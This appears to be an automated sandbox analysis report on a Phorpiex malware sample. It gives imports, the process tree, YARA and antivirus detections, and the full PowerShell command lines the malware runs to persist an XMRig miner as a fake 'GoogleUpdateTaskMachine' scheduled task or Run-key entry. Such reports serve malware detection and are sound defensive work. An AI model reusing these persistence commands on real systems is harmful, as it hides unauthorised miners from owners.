                                                                                                                                                                                                                                                                                                                                                    .rdata0x100000x2fa40x3000False0.4654947916666667data5.623025982961663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                                                                                                                    .data0x130000x2f400x1e00False0.40677083333333336OpenPGP Public Key5.621083205024321IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                                                                                                                                                                                                                                                                                                                    Imports

                                                                                                                                                                                                                                                                                                                                                    DLLImport
                                                                                                                                                                                                                                                                                                                                                    WS2_32.dllrecvfrom, setsockopt, sendto, send, WSAStartup, recv, ioctlsocket, bind, WSACloseEvent, WSARecv, WSASend, WSAGetLastError, WSAEnumNetworkEvents, gethostname, connect, inet_ntoa, inet_addr, htons, getsockname, shutdown, socket, closesocket, gethostbyname, WSAEventSelect, WSAGetOverlappedResult, WSAWaitForMultipleEvents, getpeername, accept, WSACreateEvent, WSASocketA, listen
                                                                                                                                                                                                                                                                                                                                                    SHLWAPI.dllPathFileExistsW, StrCmpNW, PathMatchSpecW, PathFindFileNameW, StrChrA, StrStrIA, StrCmpNIA, StrStrW
                                                                                                                                                                                                                                                                                                                                                    urlmon.dllURLDownloadToFileW
                                                                                                                                                                                                                                                                                                                                                    WININET.dllHttpOpenRequestA, InternetOpenUrlW, InternetOpenUrlA, HttpQueryInfoA, InternetOpenW, InternetCloseHandle, InternetOpenA, HttpSendRequestA, InternetConnectA, InternetCrackUrlA, InternetReadFile, HttpAddRequestHeadersA
                                                                                                                                                                                                                                                                                                                                                    ntdll.dllmemcpy, _chkstk, _aulldiv, RtlUnwind, memmove, mbstowcs, RtlTimeToSecondsSince1980, NtQuerySystemTime, NtQueryVirtualMemory, strstr, isdigit, isalpha, _allshl, _aullshr, memset
                                                                                                                                                                                                                                                                                                                                                    msvcrt.dllrand, srand, _vscprintf
                                                                                                                                                                                                                                                                                                                                                    KERNEL32.dllCreateEventA, CreateProcessW, GetLocaleInfoA, DuplicateHandle, DeleteCriticalSection, GetThreadPriority, SetThreadPriority, GetCurrentThread, GetCurrentProcess, InterlockedExchangeAdd, InterlockedIncrement, InterlockedExchange, WaitForSingleObject, InterlockedDecrement, GetCurrentProcessId, HeapSetInformation, GetSystemInfo, PostQueuedCompletionStatus, GetProcessHeaps, HeapValidate, HeapCreate, HeapFree, HeapAlloc, HeapReAlloc, ExpandEnvironmentStringsW, CreateThread, CreateMutexA, GetLastError, ExitProcess, GetVolumeInformationW, SetFileAttributesW, GetQueuedCompletionStatus, CreateIoCompletionPort, SetEvent, lstrcpyW, DeleteFileW, GetDiskFreeSpaceExW, FindNextFileW, lstrcmpiW, QueryDosDeviceW, RemoveDirectoryW, FindClose, lstrcmpW, GetModuleFileNameW, lstrlenA, GlobalLock, GetModuleHandleW, GetTickCount, GlobalAlloc, Sleep, lstrcpynW, ExitThread, MultiByteToWideChar, lstrlenW, GlobalUnlock, GetFileSize, MapViewOfFile, UnmapViewOfFile, WriteFile, InitializeCriticalSection, LeaveCriticalSection, CreateFileW, FlushFileBuffers, EnterCriticalSection, CreateFileMappingW, CloseHandle, FindFirstFileW, GetDriveTypeW, MoveFileExW, CreateDirectoryW, GetLogicalDrives, CopyFileW
                                                                                                                                                                                                                                                                                                                                                    USER32.dllTranslateMessage, RegisterClassExW, wsprintfW, GetClipboardData, EmptyClipboard, ChangeClipboardChain, SetWindowLongW, DefWindowProcA, RegisterRawInputDevices, CreateWindowExW, SendMessageA, IsClipboardFormatAvailable, CloseClipboard, GetMessageA, wsprintfA, wvsprintfA, GetWindowLongW, DispatchMessageA, OpenClipboard, SetClipboardData, SetClipboardViewer
                                                                                                                                                                                                                                                                                                                                                    ADVAPI32.dllRegSetValueExW, CryptGenRandom, CryptReleaseContext, CryptAcquireContextW, RegQueryValueExW, RegOpenKeyExA, RegSetValueExA, RegCloseKey, RegOpenKeyExW
                                                                                                                                                                                                                                                                                                                                                    SHELL32.dllShellExecuteW
                                                                                                                                                                                                                                                                                                                                                    ole32.dllCoInitializeEx, CoCreateInstance, CoInitialize, CoUninitialize
                                                                                                                                                                                                                                                                                                                                                    OLEAUT32.dllSysFreeString, SysAllocString

                                                                                                                                                                                                                                                                                                                                                    Network Behavior

                                                                                                                                                                                                                                                                                                                                                    Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

                                                                                                                                                                                                                                                                                                                                                    Statistics

                                                                                                                                                                                                                                                                                                                                                    CPU Usage

                                                                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                                                                    Memory Usage

                                                                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                                                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                                                                                                    Behavior

                                                                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                                                                    System Behavior

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:0
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:34
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                                                                    File size:78848 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000000.301551885.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000003.306336338.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:1
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:36
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                                                                    File size:78848 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000000.306324126.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.635340368.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\wsysrxvcs.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                                                                    • Detection: 83%, ReversingLabs
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:2
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:48
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:"C:\Windows\wsysrxvcs.exe"
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                                                                    File size:78848 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000000.330146799.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:3
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:49
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\120477188.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\AppData\Local\Temp\120477188.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0xb60000
                                                                                                                                                                                                                                                                                                                                                    File size:6656 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:03EE7B245DAEEBBF2CCAA1690A9FC8FC
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                                                                    • Detection: 88%, ReversingLabs
                                                                                                                                                                                                                                                                                                                                                    Reputation:moderate

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:4
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:56
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\1258033132.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\AppData\Local\Temp\1258033132.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7d2530000
                                                                                                                                                                                                                                                                                                                                                    File size:2074112 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:7B0633AE007D5D202C33D505D580D4B7
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 84%, ReversingLabs
                                                                                                                                                                                                                                                                                                                                                    Reputation:moderate

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:5
                                                                                                                                                                                                                                                                                                                                                    Start time:15:37:59
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\311029678.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\AppData\Local\Temp\311029678.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x320000
                                                                                                                                                                                                                                                                                                                                                    File size:15360 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:1E5B4FEC45A2CEAEFFD766AEF29D8A27
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: C:\Users\user\AppData\Local\Temp\311029678.exe, Author: Florian Roth (Nextron Systems)
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                                                                    • Detection: 90%, ReversingLabs
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:6
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:01
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fbaf0000
                                                                                                                                                                                                                                                                                                                                                    File size:447488 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:.Net C# or VB.NET
                                                                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:7
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:02
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fcd70000
                                                                                                                                                                                                                                                                                                                                                    File size:625664 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:8
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:07
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\75601095.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\AppData\Local\Temp\75601095.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x10a0000
                                                                                                                                                                                                                                                                                                                                                    File size:15360 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:24D8F06054F04FA1775D81B87931EFDB
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: C:\Users\user\AppData\Local\Temp\75601095.exe, Author: Florian Roth (Nextron Systems)
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:9
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:17
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\587025894.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\AppData\Local\Temp\587025894.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                                                                    File size:78848 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000009.00000000.394260629.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000009.00000002.399491223.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\587025894.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                                                                    • Detection: 83%, ReversingLabs
                                                                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:12
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:32
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\user\Windows Security\Update\winsvrupd.exe" }
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fbaf0000
                                                                                                                                                                                                                                                                                                                                                    File size:447488 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:.Net C# or VB.NET
                                                                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:13
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:32
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fcd70000
                                                                                                                                                                                                                                                                                                                                                    File size:625664 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:14
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:37
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7b0a60000
                                                                                                                                                                                                                                                                                                                                                    File size:226816 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:838D346D1D28F00783B7A6C6BD03A0DA
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:15
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:37
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\Windows Security\Update\winsvrupd.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Users\user\Windows Security\Update\winsvrupd.exe
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff642ce0000
                                                                                                                                                                                                                                                                                                                                                    File size:2074112 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:7B0633AE007D5D202C33D505D580D4B7
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                                                                    • Detection: 84%, ReversingLabs

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:16
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:49
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' }
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fbaf0000
                                                                                                                                                                                                                                                                                                                                                    File size:447488 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:.Net C# or VB.NET

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:17
                                                                                                                                                                                                                                                                                                                                                    Start time:15:38:50
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff7fcd70000
                                                                                                                                                                                                                                                                                                                                                    File size:625664 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language

                                                                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                                                                    Target ID:18
                                                                                                                                                                                                                                                                                                                                                    Start time:15:39:20
                                                                                                                                                                                                                                                                                                                                                    Start date:21/03/2023
                                                                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\user\AppData\Roaming\Google\Libs\g.log"
                                                                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff627730000
                                                                                                                                                                                                                                                                                                                                                    File size:273920 bytes
                                                                                                                                                                                                                                                                                                                                                    MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
